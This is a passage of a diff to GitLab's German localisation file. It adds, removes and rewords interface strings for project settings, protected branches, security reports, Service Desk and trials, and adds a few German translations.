msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr "Diese Einstellung wird auf Serverebene angewendet, wurde aber für diese
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr "Diese Einstellung wird auf alle Projekte angewendet, sofern sie nicht von einem Admin überschrieben wird."
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,8 +25424,8 @@ msgstr "Projekt-Sichtbarkeit verringern"
msgid "Reduce this project’s visibility?"
msgstr "Sichtbarkeit dieses Projekts verringern?"
-msgid "Reference:"
-msgstr "Referenz:"
+msgid "Reference"
+msgstr ""
msgid "References"
msgstr ""
@@ -24954,7 +25587,7 @@ msgstr "Releases"
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,8 +25966,8 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
-msgstr "Klasse"
+msgid "Reports|Base report parsing error:"
+msgstr ""
msgid "Reports|Classname"
msgstr ""
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr "Fehlschlag"
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr "Fordert Profile an"
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25617,7 +26265,7 @@ msgid "Requirement title cannot have more than %{limit} characters."
msgstr ""
msgid "Requirements"
-msgstr ""
+msgstr "Anforderungen"
msgid "Requirements can be based on users, stakeholders, system, software, or anything else you find important to capture."
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr "Wird ausgeführt"
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr "Änderungen vor dem Testen speichern"
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr "Zeitpläne"
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr "Pipelines planen"
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr "Merge-Requests durchsuchen"
msgid "Search milestones"
msgstr "Suche Meilensteine"
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr "Suche oder filtere Ergebnisse..."
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr "Projekte hinzufügen"
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,8 +27554,8 @@ msgstr "Wähle eine Gruppe aus, die du einladen möchtest"
msgid "Select a label"
msgstr "Ein Label auswählen"
-msgid "Select a namespace to fork the project"
-msgstr "Wähle einen Namensraum aus, um einen Fork des Projekts zu erstellen"
+msgid "Select a milestone"
+msgstr ""
msgid "Select a new namespace"
msgstr ""
@@ -26909,9 +27584,15 @@ msgstr "Zeitzone auswählen"
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr "Wähle ein Projekt aus, um die Zone auszuwählen"
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,20 +27881,44 @@ msgstr "Service-Desk"
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
+msgstr "Servicevorlagen"
+
+msgid "Service URL"
+msgstr "Service-URL"
+
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
msgstr ""
-msgid "Service Templates"
-msgstr "Servicevorlagen"
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
-msgid "Service URL"
-msgstr "Service-URL"
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
+msgstr ""
msgid "Session ID"
msgstr ""
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "ein Passwort festlegst"
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr "Status löschen"
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr "Status bearbeiten"
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr "Wie ist dein Status?"
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr "Zeige %{limit} von %{total_count} Tickets. "
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr "Nebeneinander"
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr "Bucket %{docsLink}"
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr "S3 Bucket-Name"
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr "Review senden"
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr "Testabdeckung analysieren"
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr "Das aktuelle Ticket"
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr "Der Dateiname sollte eine .yml-Endung haben"
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "Der Import wird nach %{timeout} beendet. Verwende eine Clone/Push-Kombination für Repositorys, die länger brauchen."
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr "Die Pseudonymizer-Datensammlung ist deaktiviert. Wenn sie aktiv ist, fü
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr "Die Staging-Phase stellt die Zeit zwischen dem Mergen des Merge-Requests und der Bereitstellung des Codes zur Produktivumgebung dar. Sobald du das erste Mal zur Produktivumgebung ausgeliefert hast, werden deren Daten hier automatisch angezeigt."
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr "Es gibt noch keine archivierten Projekte"
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr "Es gibt keine Tickets die angezeigt werden können"
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30023,7 +30766,7 @@ msgid "There are no open merge requests"
msgstr ""
msgid "There are no open requirements"
-msgstr ""
+msgstr "Es gibt keine offenen Anforderungen"
msgid "There are no open test cases"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr "Beim Zurücksetzen des E-Mail-Tokens ist ein Fehler aufgetreten."
msgid "There was an error when subscribing to this label."
msgstr "Beim Abonnieren dieses Labels ist ein Fehler aufgetreten."
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr "Beim Abmelden von der Abonnierung dieses Labels ist ein Fehler aufgetreten."
@@ -30385,7 +31131,7 @@ msgstr "Der Umfang dieses Boards ist reduziert"
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr "Diese Gruppe"
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr "Diese E-Mails werden automatisch zu hier gelisteten Tickets (wobei die Kommentare zur E-Mail-Konversation werden)."
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr "Zu GitLab"
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr "Gib zunächst deine FogBuz-URL und Anmeldeinformationen unten ein. In de
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr "Gib zunächst deine Gitea-Host-URL und einen %{link_to_personal_token} ein."
@@ -31268,7 +32023,7 @@ msgstr "Um ein komplettes GitLab-Projekt von einer GitLab-Installation zu einer
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr "Navigation umschalten"
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
